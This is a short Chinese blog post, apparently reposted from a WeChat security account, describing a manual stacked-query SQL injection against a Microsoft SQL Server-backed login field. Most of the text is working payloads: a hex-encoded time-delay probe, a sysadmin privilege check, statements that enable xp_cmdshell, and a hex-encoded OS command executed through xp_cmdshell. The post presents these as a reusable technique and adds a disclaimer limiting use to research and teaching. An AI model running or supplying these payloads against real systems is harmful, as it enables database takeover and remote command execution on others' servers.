前言:
两次都遇到了同一个点,利用该点也学到了sl注入执行命令的另一种语句。
判断注入点:
单引号报错,加上注释页面正常,通过这个特性,判断确实存在注入点,但是sqlmap竟然没跑出来。
手工利用:
延时判断:
';declare @x char(9);set @x=0x303a303a35;waitfor delay @x--
例如我想执行延时5s,先将'0:0:5'转为十六进制
上面语句意思是创建一个x变量,x的值是'0:0:5'十六进制的值,waitfor delay @x就是waitfor delay '0:0:5'
页面成功延迟
fuzz到注入点:
通过上面语句,我fuzz到了注入点,注入点是admin';declare @x char(9)*,分号后面有东西才能注入出来。
判断是否为sa权限:
admin';declare @x char(9);if((select IS_SRVROLEMEMBER('sysadmin'))=1) waitfor delay '0:0:5'--
开启xpcmshell:
admin';declare @x char(9);EXEC sp_configure 'show advanced options',1;RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;
判断开启xpcmdshell:
admin';declare @x char(9);if((select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell')=1) waitfor delay '0:0:4'--
执行命令:
例如:执行ping命令:
将命令16进制编码一下:
admin';declare @x char(8000);set @x=0x70696e6720312e312e312e31;waitfor exec master..xp_cmdshell @x--
这个命令是非常好用的,当遇到中文路径,或者执行命令有特殊字符时都可以选择该命令去执行命令。
原文始发于微信公众号(安全小子大杂烩):某sql注入命令执行
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论